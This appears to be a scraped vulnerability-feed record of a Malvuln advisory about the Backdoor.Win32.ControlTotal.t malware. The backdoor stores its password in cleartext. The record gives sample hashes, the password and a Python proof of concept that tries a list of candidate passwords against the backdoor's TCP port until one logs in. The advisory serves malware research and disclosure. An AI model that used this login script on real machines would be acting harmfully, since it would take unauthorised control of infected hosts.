{“lastseen”:”2025-12-22T17:15:28″,”description”:”Backdoor.Win32.ControlTotal.t malware listens on TCP port 2032 and requires authentication. The password \\”jdf4df4vdf\\” is stored in cleartext within the PE file…”,”published”:”2025-12-22T00:00:00″,”modified”:”2025-12-22T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Backdoor.Win32.ControlTotal.t MVID-2025-0702 Insecure Credential Storage”,”source”:””,”references”:””,”id”:”PACKETSTORM:213213″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”Discovery \/ credits: Malvuln (John Page aka hyp3rlinx) (c) 2025\\n Original source: https:\/\/malvuln.com\/advisory\/6c0eda1210da81b191bd970cb0f8660a.txt\\n Malvuln Intelligence Feed: https:\/\/intel.malvuln.com\/\\n Contact: malvuln13@gmail.com\\n Media: x.com\/malvuln \\n \\n Threat: Backdoor.Win32.ControlTotal.t\\n Vulnerability: Insecure Credential Storage\\n Description: The malware listens on TCP port 2032 and requires authentication. The password \\”jdf4df4vdf\\” is stored in cleartext within the PE file. We send using a custom client to validate the password, as the malware did not like nc64 likely due to CRLF characters.\\n Family: ControlTotal\\n Type: PE32 \\n Attack-pattern TTP: Unsecured Credentials (T1552)\\n MD5: 6c0eda1210da81b191bd970cb0f8660a\\n SHA256: 25b46a418b4e0749f83d9439fd1f5b9e2e5dd0703398516ac750580a26c800d5\\n Vuln ID: MVID-2025-0702\\n Disclosure: 12\/20\/2025\\n \\n Exploit\/PoC:\\n from socket import *\\n import time\\n #By John Page (aka hyp3rlinx)\\n #Backdoor.Win32.ControlTotal.t\\n #MD5: 6c0eda1210da81b191bd970cb0f8660a\\n #\\n MALWARE_HOST=\\”x.x.x.x\\”\\n PORT=2032\\n \\n candidates = [\\n \\”cs4sd65F\\”,\\n \\”5s64jhbk\\”,\\n \\”54asD54s\\”,\\n \\”SDd54F7j\\”,\\n \\”5fh4dhhg\\”,\\n \\”df2gdfg2\\”,\\n \\”AS45aas7\\”,\\n \\”D54SDFfh\\”,\\n \\”jdf4df4vdf\\”, #Password Here\\n \\”sdf21fsd\\”,\\n \\”dgv2fd\\”,\\n \\”annsk33\\”,\\n \\”20022okkd\\”\\n ]\\n \\n def chk_res(s, p=None):\\n failed = False\\n res = b”\\n while True:\\n chunk = s.recv(128)\\n if not chunk:\\n break\\n res += chunk\\n text = res.decode(‘latin-1′, errors=’ignore’)\\n if \\”xaContrase\u00f1a Incorrecta\\” in text:\\n failed = True\\n break\\n \\n if not failed:\\n return p\\n \\n return None\\n \\n \\n def backdoor_login(passwd):\\n \\n s=socket(AF_INET, SOCK_STREAM)\\n s.connect((MALWARE_HOST, PORT))\\n \\n s.send(passwd.encode())\\n result = chk_res(s, passwd)\\n if result:\\n print(\\”[*] Password found: \\”, result)\\n else:\\n print(\\”[!] Failed.\\”)\\n return False\\n \\n s.close()\\n return True\\n \\n \\n def main():\\n for x in candidates:\\n print(\\”[-] Trying: \\”, x)\\n if backdoor_login(x):\\n break\\n time.sleep(0.6)\\n \\n if __name__ == \\”__main__\\”:\\n main()\\n \\n \\n Disclaimer: The information contained within this advisory is supplied \\”as-is\\” with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).”,”sourceHref”:”https:\/\/packetstorm.news\/download\/213213″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/213213\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-12-22T17:15:28″,”description”:”Backdoor.Win32.ControlTotal.t malware listens on TCP port 2032 and requires authentication. The password \\”jdf4df4vdf\\” is stored in cleartext within the PE file…”,”published”:”2025-12-22T00:00:00″,”modified”:”2025-12-22T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Backdoor.Win32.ControlTotal.t MVID-2025-0702 Insecure Credential…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-32454","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n